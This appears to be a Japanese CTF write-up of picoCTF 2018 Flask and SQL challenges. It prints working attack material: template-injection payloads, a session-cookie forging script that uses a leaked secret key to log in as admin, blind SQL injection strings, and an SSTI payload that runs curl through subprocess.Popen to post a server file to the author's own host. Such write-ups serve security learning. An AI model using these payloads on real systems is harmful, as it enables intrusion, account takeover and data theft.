はじめに
チーム「ott0」として参加しました.
レベルが丁度良く,楽しく取り組むことができました!
というわけで,初のWrite-upを書きたいと思います.
解いた問題のうち,Web問題(特にFlask系)のWrite-upを書きます.
Flaskcards - Points: 350
問題文
We found this fishy website for flashcards that we think may be sending secrets. Could you take a look?
(自分の)解法
サーバサイドテンプレートインジェクションの問題だった.
適当なユーザ名でログイン後, Create Card
メニューのQuestion
( Answer
でも可 )に以下のように入力して Create
ボタンを押す.
{{config.items()}}
その後, List Cards
メニューを見てみてると,以下のようにFlaskの設定項目が出力される.
Question:dict_items([('SQLALCHEMY_POOL_SIZE', None), ('TESTING', False), ('SQLALCHEMY_NATIVE_UNICODE', None), ('SQLALCHEMY_TRACK_MODIFICATIONS', False), ('SESSION_COOKIE_PATH', None), ('SQLALCHEMY_ECHO', False), ('SQLALCHEMY_COMMIT_ON_TEARDOWN', False), ('DEBUG', False), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('MAX_CONTENT_LENGTH', None), ('SECRET_KEY', 'picoCTF{secret_keys_to_the_kingdom_8f40629c}'), ('BOOTSTRAP_QUERYSTRING_REVVING', True), ('BOOTSTRAP_CDN_FORCE_SSL', False), ('SQLALCHEMY_POOL_RECYCLE', None), ('TEMPLATES_AUTO_RELOAD', None), ('SQLALCHEMY_BINDS', None), ('SERVER_NAME', None), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200)), ('USE_X_SENDFILE', False), ('SESSION_COOKIE_NAME', 'session'), ('SQLALCHEMY_RECORD_QUERIES', None), ('SESSION_COOKIE_DOMAIN', False), ('JSONIFY_MIMETYPE', 'application/json'), ('TRAP_BAD_REQUEST_ERRORS', None), ('SESSION_COOKIE_SAMESITE', None), ('ENV', 'production'), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('BOOTSTRAP_SERVE_LOCAL', False), ('SQLALCHEMY_DATABASE_URI', 'sqlite://'), ('SESSION_COOKIE_HTTPONLY', True), ('SQLALCHEMY_POOL_TIMEOUT', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('JSON_SORT_KEYS', True), ('BOOTSTRAP_LOCAL_SUBDOMAIN', None), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31)), ('PREFERRED_URL_SCHEME', 'http'), ('JSON_AS_ASCII', True), ('TRAP_HTTP_EXCEPTIONS', False), ('APPLICATION_ROOT', '/'), ('SQLALCHEMY_MAX_OVERFLOW', None), ('SESSION_COOKIE_SECURE', False), ('MAX_COOKIE_SIZE', 4093), ('PROPAGATE_EXCEPTIONS', None), ('BOOTSTRAP_USE_MINIFIED', True), ('EXPLAIN_TEMPLATE_LOADING', False)])
その中の SECRET_KEY
がフラグだとわかる.
FLAG: picoCTF{secret_keys_to_the_kingdom_8f40629c}
Flaskcards Skeleton Key - Points: 600
問題文
Nice! You found out they were sending the Secret_key: 385c16dd09098b011d0086f9e218a0a2. Now, can you find a way to log in as admin? http://2018shell2.picoctf.com:48263 (link).
(自分の)解法
Secret Keyが提示されていることから,クッキーを書き換えてセッションハイジャックを行う問題かな?と思った.
クッキーの生成方法とかそもそも知らなかったので,調べてみるとクッキーをピリオドで区切って1つ目の文字列をbase64デコードしてzlibで解凍すると,セッション情報が得られることが分かった.
以下のようにコードを書いてデコードしてみる
import base64
import zlib
def flask_session_decode(encoded):
return zlib.decompress(base64.urlsafe_b64decode(encoded))
def main():
base = "hogehoge" #Flaskのセッションクッキーをピリオドで区切った際の1つ目の文字列(base64形式)
print flask_session_decode(base)
if __name__ == '__main__':
main()
そうすると,JSON形式の文字列が出力された.
パラメータには _id
や user_id
が含まれることから,これらの情報を少し変えてクッキーを再生成することで,Adminのセッションを乗っ取れるのではないか?と思った.
なお, user
パラメータはその時点で 6
とかだったので, 0
か 1
あたりにするとAdminのセッションクッキーを再現できるのかな〜と思った(結局 1
でした).
Flaskのソースを見ながら,以下のようにクッキー生成のソースを書いてみた.
from itsdangerous import BadSignature, URLSafeTimedSerializer
from flask.json.tag import TaggedJSONSerializer
import hashlib
def main():
session = dict(
_fresh = True,
_id = "hogehoge", #自分のセッションクッキーから取得する
csrf_token="hogehoge", #自分のセッションクッキーから取得する
user_id = "1" #Adminのuser_idは1
)
session_json_serializer = TaggedJSONSerializer()
digest_method = hashlib.sha2
key_derivation = 'hmac'
secret_key = '385c16dd09098b011d0086f9e218a0a2' # 問で与えられたsecret_key
salt = 'cookie-session'
serializer = session_json_serializer
signer_kwargs = dict(
key_derivation=key_derivation,
digest_method=digest_method
)
sign = URLSafeTimedSerializer(secret_key,
salt=salt,
serializer=serializer,
signer_kwargs=signer_kwargs)
data = sign.dumps(dict(session))
print data
if __name__=='__main__':
main()
session
クッキーの値を上記のプログラムの結果に上書きし, admin
メニューにアクセスするとフラグが得られた.
FLAG: picoCTF{1_id_to_rule_them_all_d77c1ed6}
A Simple Question - Points: 650
問題文
There is a website running at http://2018shell2.picoctf.com:36052 (link). Try to see if you can answer its question.
(自分の)解法
ブラインドSQLインジェクションの問題だった.
テーブル名はわかるので,カラム名を調べるために以下の文字列をCREATE TABLE a
からCREATE TABLE z
,大文字,小文字,数字といったように,しらみつぶしに送信していった.
' or (select count(*) from sqlite_master where substr(sql, 1, 14) = 'CREATE TABLE a') > 0 --
そうすると,カラム名はanswer
ひとつであることがわかる.
次にanswers
テーブルのデータを取り出すために,以下の文字列をa
からz
,大文字,小文字,数字といったように,しらみつぶしに送信していった.
(select count(*) from answers where substr(answer, 1, 1) = 'a') > 0 --
その結果,answer
カラムに41AndSixSixths
という値が入っていることがわかった.
41AndSixSixths
をフォームに入力して送信するとフラグを得られた.
FLAG: picoCTF{qu3stions_ar3_h4rd_d3850719}
Flaskcards and Freedom - Points: 900
問題文
There seem to be a few more files stored on the flash card server but we can't login. Can you? http://2018shell2.picoctf.com:52168 (link)
(自分の)解法
ヒントによると,サーバサイドでのコード実行を要求しているらしい.
前述したサーバサイドテンプレートインジェクションの脆弱性を利用して,コード実行を行うオブジェクトを探していく.
まずは,以下の文字列をCreate Card
にて登録し,List Cards
にて実行させる.
{{''.__class__.__mro__[1].__subclasses__()}}
そうすると,Object
クラスのサブクラス一覧が出力される.
その中に<class 'subprocess.Popen'>
があったので,これを利用することにした.
subprocess.Popen
を実行させるために,<class 'subprocess.Popen'>
のインデックス(時間によって変わる?)を数えて,上記の文字列にインデックスとして指定する.
#インデックスは時間によって変わるので注意
{{''.__class__.__mro__[1].__subclasses__()[48]}}
そしてsubprocess.Popen
の引数を指定する.
(今回は,問題サーバ内にflag
という名前のファイルがあったらしく,適当にファイル名に flag
を指定してcurlで送信したらフラグが得られた.なのでファイルを探す過程はすっ飛ばしてます笑)
{{''.__class__.__mro__[1].__subclasses__()[48](['curl','-X','POST','<<自分のサーバのIP>>','-d','@flag']).communicate()}}
上記の文字列をインジェクションした結果,フラグを得ることができた.
FLAG: picoCTF{R_C_E_wont_let_me_be_33c4aa61}